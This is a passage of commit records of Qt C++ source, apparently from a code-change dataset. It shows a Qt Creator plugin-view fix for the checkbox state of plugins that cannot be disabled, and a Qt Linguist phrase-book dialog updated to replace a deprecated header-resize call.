Qt::NoBrush));\n            \/\/pluginItem->setBackground(C_LOAD, QBrush(Qt::white, Qt::NoBrush));\n        }\n        pluginItem->setToolTip(C_LOAD, tr(\"Load on Startup\"));\n\n        m_specToItem.insert(spec, pluginItem);\n\n        if (parentItem)\n            parentItem->addChild(pluginItem);\n        else\n            m_items.append(pluginItem);\n\n    }\n\n    if (loadCount == plugins.length()) {\n        groupState = Qt::Checked;\n        ret |= ParsedAll;\n    } else if (loadCount == 0) {\n        groupState = Qt::Unchecked;\n        ret |= ParsedNone;\n    } else {\n        groupState = Qt::PartiallyChecked;\n        ret = ret | ParsedPartial;\n    }\n    return ret;\n}\n\nQIcon PluginView::iconForState(int state)\n{\n    if (state & ParsedWithErrors)\n        return m_errorIcon;\n\n    if (state & ParsedNone || state & ParsedPartial)\n        return m_notLoadedIcon;\n\n    return m_okIcon;\n}\n\nvoid PluginView::selectPlugin(QTreeWidgetItem *current)\n{\n    if (!current)\n        emit currentPluginChanged(0);\n    else if (current->data(0, Qt::UserRole).canConvert<PluginSpec*>())\n        emit currentPluginChanged(current->data(0, Qt::UserRole).value<PluginSpec *>());\n    else\n        emit currentPluginChanged(0);\n\n}\n\nvoid PluginView::activatePlugin(QTreeWidgetItem *item)\n{\n    if (item->data(0, Qt::UserRole).canConvert<PluginSpec*>()) {\n        emit pluginActivated(item->data(0, Qt::UserRole).value<PluginSpec *>());\n    } else\n        emit pluginActivated(0);\n}\n\nvoid PluginView::updatePluginSettings(QTreeWidgetItem *item, int column)\n{\n    if (!m_allowCheckStateUpdate)\n        return;\n\n    m_allowCheckStateUpdate = false;\n\n    bool loadOnStartup = item->data(C_LOAD, Qt::CheckStateRole).toBool();\n\n    if (item->data(0, Qt::UserRole).canConvert<PluginSpec*>()) {\n        PluginSpec *spec = item->data(0, Qt::UserRole).value<PluginSpec *>();\n\n        if (column == C_LOAD) {\n\n            spec->setEnabled(loadOnStartup);\n            updatePluginDependencies();\n\n            if (item->parent()) {\n                PluginCollection *collection = item->parent()->data(0, Qt::UserRole).value<PluginCollection *>();\n                Qt::CheckState state = Qt::PartiallyChecked;\n                int loadCount = 0;\n                for (int i = 0; i < collection->plugins().length(); ++i) {\n                    if (collection->plugins().at(i)->isEnabled())\n                        ++loadCount;\n                }\n                if (loadCount == collection->plugins().length())\n                    state = Qt::Checked;\n                else if (loadCount == 0)\n                    state = Qt::Unchecked;\n\n                item->parent()->setData(C_LOAD, Qt::CheckStateRole, state);\n            }\n\n            emit pluginSettingsChanged(spec);\n        }\n\n    } else {\n        PluginCollection *collection = item->data(0, Qt::UserRole).value<PluginCollection *>();\n        for (int i = 0; i < collection->plugins().length(); ++i) {\n            PluginSpec *spec = collection->plugins().at(i);\n            QTreeWidgetItem *child = m_specToItem.value(spec);\n\n            if (!m_whitelist.contains(spec->name())) {\n                spec->setEnabled(loadOnStartup);\n                Qt::CheckState state = (loadOnStartup ? Qt::Checked : Qt::Unchecked);\n                child->setData(C_LOAD, Qt::CheckStateRole, state);\n            } else {\n                child->setData(C_LOAD, Qt::CheckStateRole, Qt::Checked);\n                child->setFlags(Qt::ItemIsSelectable | Qt::ItemIsEnabled);\n            }\n        }\n        updatePluginDependencies();\n        emit pluginSettingsChanged(collection->plugins().first());\n    }\n\n    m_allowCheckStateUpdate = true;\n}\n\nvoid PluginView::updatePluginDependencies()\n{\n    foreach (PluginSpec *spec, PluginManager::instance()->loadQueue()) {\n        bool disableIndirectly = false;\n        foreach(const PluginSpec *depSpec, spec->dependencySpecs()) {\n            if (!depSpec->isEnabled() || depSpec->isDisabledIndirectly()) {\n                disableIndirectly = true;\n                break;\n            }\n        }\n        QTreeWidgetItem *childItem = m_specToItem.value(spec);\n        childItem->setDisabled(disableIndirectly);\n\n        if (disableIndirectly == spec->isDisabledIndirectly())\n            continue;\n        spec->setDisabledIndirectly(disableIndirectly);\n\n        if (childItem->parent() && !childItem->parent()->isExpanded())\n            childItem->parent()->setExpanded(true);\n    }\n}\n<commit_msg>Fixed disabled checkbox styles for plugin manager<commit_after>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/qt.nokia.com\/contact.\n**\n**************************************************************************\/\n\n#include \"pluginview.h\"\n#include \"pluginview_p.h\"\n#include \"pluginmanager.h\"\n#include \"pluginspec.h\"\n#include \"plugincollection.h\"\n#include \"ui_pluginview.h\"\n\n#include <QtCore\/QDir>\n#include <QtGui\/QHeaderView>\n#include <QtGui\/QTreeWidgetItem>\n#include <QtGui\/QPalette>\n\n#include <QtDebug>\n\n\/*!\n    \\class ExtensionSystem::PluginView\n    \\brief Widget that shows a list of all plugins and their state.\n\n    This can be embedded e.g. in a dialog in the application that\n    uses the plugin manager.\n    The class also provides notifications for interactions with the list.\n\n    \\sa ExtensionSystem::PluginDetailsView\n    \\sa ExtensionSystem::PluginErrorView\n*\/\n\n\/*!\n    \\fn void PluginView::currentPluginChanged(ExtensionSystem::PluginSpec *spec)\n    The current selection in the plugin list has changed to the\n    plugin corresponding to \\a spec.\n*\/\n\n\/*!\n    \\fn void PluginView::pluginActivated(ExtensionSystem::PluginSpec *spec)\n    The plugin list entry corresponding to \\a spec has been activated,\n    e.g. by a double-click.\n*\/\n\nusing namespace ExtensionSystem;\n\nQ_DECLARE_METATYPE(ExtensionSystem::PluginSpec*);\nQ_DECLARE_METATYPE(ExtensionSystem::PluginCollection*);\n\n\/*!\n    \\fn PluginView::PluginView(PluginManager *manager, QWidget *parent)\n    Constructs a PluginView that gets the list of plugins from the\n    given plugin \\a manager with a given \\a parent widget.\n*\/\nPluginView::PluginView(PluginManager *manager, QWidget *parent)\n    : QWidget(parent),\n      m_ui(new Internal::Ui::PluginView),\n      p(new Internal::PluginViewPrivate),\n      m_allowCheckStateUpdate(true),\n      C_LOAD(1)\n{\n    m_ui->setupUi(this);\n    QHeaderView *header = m_ui->categoryWidget->header();\n    header->setResizeMode(0, QHeaderView::ResizeToContents);\n    header->setResizeMode(2, QHeaderView::ResizeToContents);\n\n    m_okIcon = QIcon(QLatin1String(\":\/extensionsystem\/images\/ok.png\"));\n    m_errorIcon = QIcon(QLatin1String(\":\/extensionsystem\/images\/error.png\"));\n    m_notLoadedIcon = QIcon(QLatin1String(\":\/extensionsystem\/images\/notloaded.png\"));\n\n    m_ui->categoryWidget->setColumnWidth(C_LOAD, 40);\n\n    \/\/ cannot disable these\n    m_whitelist << QString(\"Core\") << QString(\"Locator\")\n                << QString(\"Find\") << QString(\"TextEditor\");\n\n    p->manager = manager;\n    connect(p->manager, SIGNAL(pluginsChanged()), this, SLOT(updateList()));\n    connect(m_ui->categoryWidget, SIGNAL(currentItemChanged(QTreeWidgetItem*,QTreeWidgetItem*)),\n            this, SLOT(selectPlugin(QTreeWidgetItem*)));\n    connect(m_ui->categoryWidget, SIGNAL(itemActivated(QTreeWidgetItem*,int)),\n            this, SLOT(activatePlugin(QTreeWidgetItem*)));\n\n    updateList();\n}\n\n\/*!\n    \\fn PluginView::~PluginView()\n    \\internal\n*\/\nPluginView::~PluginView()\n{\n    delete p;\n    delete m_ui;\n}\n\n\/*!\n    \\fn PluginSpec *PluginView::currentPlugin() const\n    Returns the current selection in the list of plugins.\n*\/\nPluginSpec *PluginView::currentPlugin() const\n{\n    if (!m_ui->categoryWidget->currentItem())\n        return 0;\n    if (!m_ui->categoryWidget->currentItem()->data(0, Qt::UserRole).isNull())\n        return m_ui->categoryWidget->currentItem()->data(0, Qt::UserRole).value<PluginSpec *>();\n    return 0;\n}\n\nvoid PluginView::updateList()\n{\n    connect(m_ui->categoryWidget, SIGNAL(itemChanged(QTreeWidgetItem*,int)),\n            this, SLOT(updatePluginSettings(QTreeWidgetItem*, int)));\n\n    PluginCollection *defaultCollection = 0;\n    foreach(PluginCollection *collection, p->manager->pluginCollections()) {\n        if (collection->name().isEmpty()) {\n            defaultCollection = collection;\n            continue;\n        }\n        \/\/ State, name, load, version, vendor.\n        QTreeWidgetItem *collectionItem = new QTreeWidgetItem(QStringList()\n            << collection->name()\n            << QString()    \/\/ state\n            << QString()    \/\/ load\n            << QString()    \/\/ version\n            << QString());  \/\/ vendor\n        m_items.append(collectionItem);\n\n        Qt::CheckState groupState = Qt::Unchecked;\n        int state = parsePluginSpecs(collectionItem, groupState, collection->plugins());\n\n        collectionItem->setIcon(0, iconForState(state));\n        collectionItem->setData(C_LOAD, Qt::CheckStateRole, QVariant(groupState));\n        collectionItem->setToolTip(C_LOAD, tr(\"Load on Startup\"));\n        collectionItem->setData(0, Qt::UserRole, qVariantFromValue(collection));\n    }\n\n    \/\/ add all non-categorized plugins into utilities. could also be added as root items\n    \/\/ but that makes the tree ugly.\n    QTreeWidgetItem *defaultCollectionItem = new QTreeWidgetItem(QStringList()\n        << QString(tr(\"Utilities\"))\n        << QString()\n        << QString()\n        << QString()\n        << QString());\n\n    m_items.append(defaultCollectionItem);\n    Qt::CheckState groupState = Qt::Unchecked;\n    int state = parsePluginSpecs(defaultCollectionItem, groupState, defaultCollection->plugins());\n\n    defaultCollectionItem->setIcon(0, iconForState(state));\n    defaultCollectionItem->setData(C_LOAD, Qt::CheckStateRole, QVariant(groupState));\n    defaultCollectionItem->setToolTip(C_LOAD, tr(\"Load on Startup\"));\n    defaultCollectionItem->setData(0, Qt::UserRole, qVariantFromValue(defaultCollection));\n\n    updatePluginDependencies();\n\n    m_ui->categoryWidget->clear();\n    if (!m_items.isEmpty()) {\n        m_ui->categoryWidget->addTopLevelItems(m_items);\n        m_ui->categoryWidget->expandAll();\n    }\n\n    m_ui->categoryWidget->sortItems(0, Qt::AscendingOrder);\n    if (m_ui->categoryWidget->topLevelItemCount())\n        m_ui->categoryWidget->setCurrentItem(m_ui->categoryWidget->topLevelItem(0));\n}\n\nint PluginView::parsePluginSpecs(QTreeWidgetItem *parentItem, Qt::CheckState &groupState, QList<PluginSpec*> plugins)\n{\n    int ret = 0;\n    int loadCount = 0;\n\n    for (int i = 0; i < plugins.length(); ++i) {\n        PluginSpec *spec = plugins[i];\n        if (spec->hasError())\n            ret |= ParsedWithErrors;\n\n        QTreeWidgetItem *pluginItem = new QTreeWidgetItem(QStringList()\n            << spec->name()\n            << QString()    \/\/ load on startup\n            << QString::fromLatin1(\"%1 (%2)\").arg(spec->version(), spec->compatVersion())\n            << spec->vendor());\n\n        pluginItem->setToolTip(0, QDir::toNativeSeparators(spec->filePath()));\n        bool ok = !spec->hasError();\n        QIcon icon = ok ? m_okIcon : m_errorIcon;\n        if (ok && (spec->state() != PluginSpec::Running))\n            icon = m_notLoadedIcon;\n\n        pluginItem->setIcon(0, icon);\n        pluginItem->setData(0, Qt::UserRole, qVariantFromValue(spec));\n\n        Qt::CheckState state = Qt::Unchecked;\n        if (spec->isEnabled()) {\n            state = Qt::Checked;\n            ++loadCount;\n        }\n\n        if (!m_whitelist.contains(spec->name())) {\n            pluginItem->setData(C_LOAD, Qt::CheckStateRole, state);\n        } else {\n            pluginItem->setData(C_LOAD, Qt::CheckStateRole, Qt::Checked);\n            pluginItem->setFlags(Qt::ItemIsSelectable);\n        }\n\n        pluginItem->setToolTip(C_LOAD, tr(\"Load on Startup\"));\n\n        m_specToItem.insert(spec, pluginItem);\n\n        if (parentItem)\n            parentItem->addChild(pluginItem);\n        else\n            m_items.append(pluginItem);\n\n    }\n\n    if (loadCount == plugins.length()) {\n        groupState = Qt::Checked;\n        ret |= ParsedAll;\n    } else if (loadCount == 0) {\n        groupState = Qt::Unchecked;\n        ret |= ParsedNone;\n    } else {\n        groupState = Qt::PartiallyChecked;\n        ret = ret | ParsedPartial;\n    }\n    return ret;\n}\n\nQIcon PluginView::iconForState(int state)\n{\n    if (state & ParsedWithErrors)\n        return m_errorIcon;\n\n    if (state & ParsedNone || state & ParsedPartial)\n        return m_notLoadedIcon;\n\n    return m_okIcon;\n}\n\nvoid PluginView::selectPlugin(QTreeWidgetItem *current)\n{\n    if (!current)\n        emit currentPluginChanged(0);\n    else if (current->data(0, Qt::UserRole).canConvert<PluginSpec*>())\n        emit currentPluginChanged(current->data(0, Qt::UserRole).value<PluginSpec *>());\n    else\n        emit currentPluginChanged(0);\n\n}\n\nvoid PluginView::activatePlugin(QTreeWidgetItem *item)\n{\n    if (item->data(0, Qt::UserRole).canConvert<PluginSpec*>()) {\n        emit pluginActivated(item->data(0, Qt::UserRole).value<PluginSpec *>());\n    } else\n        emit pluginActivated(0);\n}\n\nvoid PluginView::updatePluginSettings(QTreeWidgetItem *item, int column)\n{\n    if (!m_allowCheckStateUpdate)\n        return;\n\n    m_allowCheckStateUpdate = false;\n\n    bool loadOnStartup = item->data(C_LOAD, Qt::CheckStateRole).toBool();\n\n    if (item->data(0, Qt::UserRole).canConvert<PluginSpec*>()) {\n        PluginSpec *spec = item->data(0, Qt::UserRole).value<PluginSpec *>();\n\n        if (column == C_LOAD) {\n\n            spec->setEnabled(loadOnStartup);\n            updatePluginDependencies();\n\n            if (item->parent()) {\n                PluginCollection *collection = item->parent()->data(0, Qt::UserRole).value<PluginCollection *>();\n                Qt::CheckState state = Qt::PartiallyChecked;\n                int loadCount = 0;\n                for (int i = 0; i < collection->plugins().length(); ++i) {\n                    if (collection->plugins().at(i)->isEnabled())\n                        ++loadCount;\n                }\n                if (loadCount == collection->plugins().length())\n                    state = Qt::Checked;\n                else if (loadCount == 0)\n                    state = Qt::Unchecked;\n\n                item->parent()->setData(C_LOAD, Qt::CheckStateRole, state);\n            }\n\n            emit pluginSettingsChanged(spec);\n        }\n\n    } else {\n        PluginCollection *collection = item->data(0, Qt::UserRole).value<PluginCollection *>();\n        for (int i = 0; i < collection->plugins().length(); ++i) {\n            PluginSpec *spec = collection->plugins().at(i);\n            QTreeWidgetItem *child = m_specToItem.value(spec);\n\n            if (!m_whitelist.contains(spec->name())) {\n                spec->setEnabled(loadOnStartup);\n                Qt::CheckState state = (loadOnStartup ? Qt::Checked : Qt::Unchecked);\n                child->setData(C_LOAD, Qt::CheckStateRole, state);\n            } else {\n                child->setData(C_LOAD, Qt::CheckStateRole, Qt::Checked);\n                child->setFlags(Qt::ItemIsSelectable);\n            }\n        }\n        updatePluginDependencies();\n        emit pluginSettingsChanged(collection->plugins().first());\n    }\n\n    m_allowCheckStateUpdate = true;\n}\n\nvoid PluginView::updatePluginDependencies()\n{\n    foreach (PluginSpec *spec, PluginManager::instance()->loadQueue()) {\n        bool disableIndirectly = false;\n        if (m_whitelist.contains(spec->name()))\n            continue;\n\n        foreach(const PluginSpec *depSpec, spec->dependencySpecs()) {\n            if (!depSpec->isEnabled() || depSpec->isDisabledIndirectly()) {\n                disableIndirectly = true;\n                break;\n            }\n        }\n        QTreeWidgetItem *childItem = m_specToItem.value(spec);\n        childItem->setDisabled(disableIndirectly);\n\n        if (disableIndirectly == spec->isDisabledIndirectly())\n            continue;\n        spec->setDisabledIndirectly(disableIndirectly);\n\n        if (childItem->parent() && !childItem->parent()->isExpanded())\n            childItem->parent()->setExpanded(true);\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2012 Nokia Corporation and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/\n**\n** This file is part of the Qt Linguist of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** GNU Lesser General Public License Usage\n** This file may be used under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation and\n** appearing in the file LICENSE.LGPL included in the packaging of this\n** file. Please review the following information to ensure the GNU Lesser\n** General Public License version 2.1 requirements will be met:\n** http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU General\n** Public License version 3.0 as published by the Free Software Foundation\n** and appearing in the file LICENSE.GPL included in the packaging of this\n** file. Please review the following information to ensure the GNU General\n** Public License version 3.0 requirements will be met:\n** http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n** Other Usage\n** Alternatively, this file may be used in accordance with the terms and\n** conditions contained in a signed written agreement between you and Nokia.\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n\/*  TRANSLATOR PhraseBookBox\n\n  Go to Phrase > Edit Phrase Book...  The dialog that pops up is a\n  PhraseBookBox.\n*\/\n\n#include \"phrasebookbox.h\"\n#include \"translationsettingsdialog.h\"\n\n#include <QtEvents>\n#include <QLineEdit>\n#include <QMessageBox>\n#include <QHeaderView>\n#include <QSortFilterProxyModel>\n\nQT_BEGIN_NAMESPACE\n\nPhraseBookBox::PhraseBookBox(PhraseBook *phraseBook, QWidget *parent)\n    : QDialog(parent),\n      m_phraseBook(phraseBook),\n      m_translationSettingsDialog(0)\n{\n\n\/\/ This definition needs to be within class context for lupdate to find it\n#define NewPhrase tr(\"(New Entry)\")\n\n    setupUi(this);\n    setWindowTitle(tr(\"%1[*] - Qt Linguist\").arg(m_phraseBook->friendlyPhraseBookName()));\n    setWindowModified(m_phraseBook->isModified());\n\n    phrMdl = new PhraseModel(this);\n\n    m_sortedPhraseModel = new QSortFilterProxyModel(this);\n    m_sortedPhraseModel->setSortCaseSensitivity(Qt::CaseInsensitive);\n    m_sortedPhraseModel->setSortLocaleAware(true);\n    m_sortedPhraseModel->setDynamicSortFilter(true);\n    m_sortedPhraseModel->setSourceModel(phrMdl);\n\n    phraseList->setModel(m_sortedPhraseModel);\n    phraseList->header()->setDefaultSectionSize(150);\n    phraseList->header()->setResizeMode(QHeaderView::Interactive);\n\n    connect(sourceLed, SIGNAL(textChanged(QString)),\n            this, SLOT(sourceChanged(QString)));\n    connect(targetLed, SIGNAL(textChanged(QString)),\n            this, SLOT(targetChanged(QString)));\n    connect(definitionLed, SIGNAL(textChanged(QString)),\n            this, SLOT(definitionChanged(QString)));\n    connect(phraseList->selectionModel(), SIGNAL(currentChanged(QModelIndex,QModelIndex)),\n            this, SLOT(selectionChanged()));\n    connect(newBut, SIGNAL(clicked()), this, SLOT(newPhrase()));\n    connect(removeBut, SIGNAL(clicked()), this, SLOT(removePhrase()));\n    connect(settingsBut, SIGNAL(clicked()), this, SLOT(settings()));\n    connect(saveBut, SIGNAL(clicked()), this, SLOT(save()));\n    connect(m_phraseBook, SIGNAL(modifiedChanged(bool)), this, SLOT(setWindowModified(bool)));\n\n    sourceLed->installEventFilter(this);\n    targetLed->installEventFilter(this);\n    definitionLed->installEventFilter(this);\n\n    foreach (Phrase *p, phraseBook->phrases())\n        phrMdl->addPhrase(p);\n\n    phraseList->sortByColumn(0, Qt::AscendingOrder);\n\n    enableDisable();\n}\n\nbool PhraseBookBox::eventFilter(QObject *obj, QEvent *event)\n{\n    if (event->type() == QEvent::KeyPress &&\n            (obj == sourceLed || obj == targetLed || obj == definitionLed))\n    {\n        const QKeyEvent *keyEvent = static_cast<QKeyEvent *>(event);\n        const int key = keyEvent->key();\n\n        switch (key) {\n        case Qt::Key_Down:\n        case Qt::Key_Up:\n        case Qt::Key_PageDown:\n        case Qt::Key_PageUp:\n            return QApplication::sendEvent(phraseList, event);\n        }\n    }\n    return QDialog::eventFilter(obj, event);\n}\n\nvoid PhraseBookBox::newPhrase()\n{\n    Phrase *p = new Phrase();\n    p->setSource(NewPhrase);\n    m_phraseBook->append(p);\n    selectItem(phrMdl->addPhrase(p));\n}\n\nvoid PhraseBookBox::removePhrase()\n{\n    QModelIndex index = currentPhraseIndex();\n    Phrase *phrase = phrMdl->phrase(index);\n    m_phraseBook->remove(phrase);\n    phrMdl->removePhrase(index);\n    delete phrase;\n}\n\nvoid PhraseBookBox::settings()\n{\n    if (!m_translationSettingsDialog)\n        m_translationSettingsDialog = new TranslationSettingsDialog(this);\n    m_translationSettingsDialog->setPhraseBook(m_phraseBook);\n    m_translationSettingsDialog->exec();\n}\n\nvoid PhraseBookBox::save()\n{\n    const QString &fileName = m_phraseBook->fileName();\n    if (!m_phraseBook->save(fileName))\n        QMessageBox::warning(this,\n                             tr(\"Qt Linguist\"),\n                             tr(\"Cannot save phrase book '%1'.\").arg(fileName));\n}\n\nvoid PhraseBookBox::sourceChanged(const QString& source)\n{\n    QModelIndex index = currentPhraseIndex();\n    if (index.isValid())\n        phrMdl->setData(phrMdl->index(index.row(), 0), source);\n}\n\nvoid PhraseBookBox::targetChanged(const QString& target)\n{\n    QModelIndex index = currentPhraseIndex();\n    if (index.isValid())\n        phrMdl->setData(phrMdl->index(index.row(), 1), target);\n}\n\nvoid PhraseBookBox::definitionChanged(const QString& definition)\n{\n    QModelIndex index = currentPhraseIndex();\n    if (index.isValid())\n        phrMdl->setData(phrMdl->index(index.row(), 2), definition);\n}\n\nvoid PhraseBookBox::selectionChanged()\n{\n    enableDisable();\n}\n\nvoid PhraseBookBox::selectItem(const QModelIndex &index)\n{\n    const QModelIndex &sortedIndex = m_sortedPhraseModel->mapFromSource(index);\n    phraseList->scrollTo(sortedIndex);\n    phraseList->setCurrentIndex(sortedIndex);\n}\n\nvoid PhraseBookBox::enableDisable()\n{\n    QModelIndex index = currentPhraseIndex();\n\n    sourceLed->blockSignals(true);\n    targetLed->blockSignals(true);\n    definitionLed->blockSignals(true);\n\n    bool indexValid = index.isValid();\n\n    if (indexValid) {\n        Phrase *p = phrMdl->phrase(index);\n        sourceLed->setText(p->source().simplified());\n        targetLed->setText(p->target().simplified());\n        definitionLed->setText(p->definition());\n    }\n    else {\n        sourceLed->setText(QString());\n        targetLed->setText(QString());\n        definitionLed->setText(QString());\n    }\n\n    sourceLed->setEnabled(indexValid);\n    targetLed->setEnabled(indexValid);\n    definitionLed->setEnabled(indexValid);\n    removeBut->setEnabled(indexValid);\n\n    sourceLed->blockSignals(false);\n    targetLed->blockSignals(false);\n    definitionLed->blockSignals(false);\n\n    QWidget *f = QApplication::focusWidget();\n    if (f != sourceLed && f != targetLed && f != definitionLed) {\n        QLineEdit *led = (sourceLed->text() == NewPhrase ? sourceLed : targetLed);\n        led->setFocus();\n        led->selectAll();\n    } else {\n        static_cast<QLineEdit*>(f)->selectAll();\n    }\n}\n\nQModelIndex PhraseBookBox::currentPhraseIndex() const\n{\n    return m_sortedPhraseModel->mapToSource(phraseList->currentIndex());\n}\n\nQT_END_NAMESPACE\n<commit_msg>QHeaderView::setResizeMode is deprecated.<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2012 Nokia Corporation and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/\n**\n** This file is part of the Qt Linguist of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** GNU Lesser General Public License Usage\n** This file may be used under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation and\n** appearing in the file LICENSE.LGPL included in the packaging of this\n** file. Please review the following information to ensure the GNU Lesser\n** General Public License version 2.1 requirements will be met:\n** http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU General\n** Public License version 3.0 as published by the Free Software Foundation\n** and appearing in the file LICENSE.GPL included in the packaging of this\n** file. Please review the following information to ensure the GNU General\n** Public License version 3.0 requirements will be met:\n** http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n** Other Usage\n** Alternatively, this file may be used in accordance with the terms and\n** conditions contained in a signed written agreement between you and Nokia.\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n\/*  TRANSLATOR PhraseBookBox\n\n  Go to Phrase > Edit Phrase Book...  The dialog that pops up is a\n  PhraseBookBox.\n*\/\n\n#include \"phrasebookbox.h\"\n#include \"translationsettingsdialog.h\"\n\n#include <QtEvents>\n#include <QLineEdit>\n#include <QMessageBox>\n#include <QHeaderView>\n#include <QSortFilterProxyModel>\n\nQT_BEGIN_NAMESPACE\n\nPhraseBookBox::PhraseBookBox(PhraseBook *phraseBook, QWidget *parent)\n    : QDialog(parent),\n      m_phraseBook(phraseBook),\n      m_translationSettingsDialog(0)\n{\n\n\/\/ This definition needs to be within class context for lupdate to find it\n#define NewPhrase tr(\"(New Entry)\")\n\n    setupUi(this);\n    setWindowTitle(tr(\"%1[*] - Qt Linguist\").arg(m_phraseBook->friendlyPhraseBookName()));\n    setWindowModified(m_phraseBook->isModified());\n\n    phrMdl = new PhraseModel(this);\n\n    m_sortedPhraseModel = new QSortFilterProxyModel(this);\n    m_sortedPhraseModel->setSortCaseSensitivity(Qt::CaseInsensitive);\n    m_sortedPhraseModel->setSortLocaleAware(true);\n    m_sortedPhraseModel->setDynamicSortFilter(true);\n    m_sortedPhraseModel->setSourceModel(phrMdl);\n\n    phraseList->setModel(m_sortedPhraseModel);\n    phraseList->header()->setDefaultSectionSize(150);\n    phraseList->header()->setSectionResizeMode(QHeaderView::Interactive);\n\n    connect(sourceLed, SIGNAL(textChanged(QString)),\n            this, SLOT(sourceChanged(QString)));\n    connect(targetLed, SIGNAL(textChanged(QString)),\n            this, SLOT(targetChanged(QString)));\n    connect(definitionLed, SIGNAL(textChanged(QString)),\n            this, SLOT(definitionChanged(QString)));\n    connect(phraseList->selectionModel(), SIGNAL(currentChanged(QModelIndex,QModelIndex)),\n            this, SLOT(selectionChanged()));\n    connect(newBut, SIGNAL(clicked()), this, SLOT(newPhrase()));\n    connect(removeBut, SIGNAL(clicked()), this, SLOT(removePhrase()));\n    connect(settingsBut, SIGNAL(clicked()), this, SLOT(settings()));\n    connect(saveBut, SIGNAL(clicked()), this, SLOT(save()));\n    connect(m_phraseBook, SIGNAL(modifiedChanged(bool)), this, SLOT(setWindowModified(bool)));\n\n    sourceLed->installEventFilter(this);\n    targetLed->installEventFilter(this);\n    definitionLed->installEventFilter(this);\n\n    foreach (Phrase *p, phraseBook->phrases())\n        phrMdl->addPhrase(p);\n\n    phraseList->sortByColumn(0, Qt::AscendingOrder);\n\n    enableDisable();\n}\n\nbool PhraseBookBox::eventFilter(QObject *obj, QEvent *event)\n{\n    if (event->type() == QEvent::KeyPress &&\n            (obj == sourceLed || obj == targetLed || obj == definitionLed))\n    {\n        const QKeyEvent *keyEvent = static_cast<QKeyEvent *>(event);\n        const int key = keyEvent->key();\n\n        switch (key) {\n        case Qt::Key_Down:\n        case Qt::Key_Up:\n        case Qt::Key_PageDown:\n        case Qt::Key_PageUp:\n            return QApplication::sendEvent(phraseList, event);\n        }\n    }\n    return QDialog::eventFilter(obj, event);\n}\n\nvoid PhraseBookBox::newPhrase()\n{\n    Phrase *p = new Phrase();\n    p->setSource(NewPhrase);\n    m_phraseBook->append(p);\n    selectItem(phrMdl->addPhrase(p));\n}\n\nvoid PhraseBookBox::removePhrase()\n{\n    QModelIndex index = currentPhraseIndex();\n    Phrase *phrase = phrMdl->phrase(index);\n    m_phraseBook->remove(phrase);\n    phrMdl->removePhrase(index);\n    delete phrase;\n}\n\nvoid PhraseBookBox::settings()\n{\n    if (!m_translationSettingsDialog)\n        m_translationSettingsDialog = new TranslationSettingsDialog(this);\n    m_translationSettingsDialog->setPhraseBook(m_phraseBook);\n    m_translationSettingsDialog->exec();\n}\n\nvoid PhraseBookBox::save()\n{\n    const QString &fileName = m_phraseBook->fileName();\n    if (!m_phraseBook->save(fileName))\n        QMessageBox::warning(this,\n                             tr(\"Qt Linguist\"),\n                             tr(\"Cannot save phrase book '%1'.\").arg(fileName));\n}\n\nvoid PhraseBookBox::sourceChanged(const QString& source)\n{\n    QModelIndex index = currentPhraseIndex();\n    if (index.isValid())\n        phrMdl->setData(phrMdl->index(index.row(), 0), source);\n}\n\nvoid PhraseBookBox::targetChanged(const QString& target)\n{\n    QModelIndex index = currentPhraseIndex();\n    if (index.isValid())\n        phrMdl->setData(phrMdl->index(index.row(), 1), target);\n}\n\nvoid PhraseBookBox::definitionChanged(const QString& definition)\n{\n    QModelIndex index = currentPhraseIndex();\n    if (index.isValid())\n        phrMdl->setData(phrMdl->index(index.row(), 2), definition);\n}\n\nvoid PhraseBookBox::selectionChanged()\n{\n    enableDisable();\n}\n\nvoid PhraseBookBox::selectItem(const QModelIndex &index)\n{\n    const QModelIndex &sortedIndex = m_sortedPhraseModel->mapFromSource(index);\n    phraseList->scrollTo(sortedIndex);\n    phraseList->setCurrentIndex(sortedIndex);\n}\n\nvoid PhraseBookBox::enableDisable()\n{\n    QModelIndex index = currentPhraseIndex();\n\n    sourceLed->blockSignals(true);\n    targetLed->blockSignals(true);\n    definitionLed->blockSignals(true);\n\n    bool indexValid = index.isValid();\n\n    if (indexValid) {\n        Phrase *p = phrMdl->phrase(index);\n        sourceLed->setText(p->source().simplified());\n        targetLed->setText(p->target().simplified());\n        definitionLed->setText(p->definition());\n    }\n    else {\n        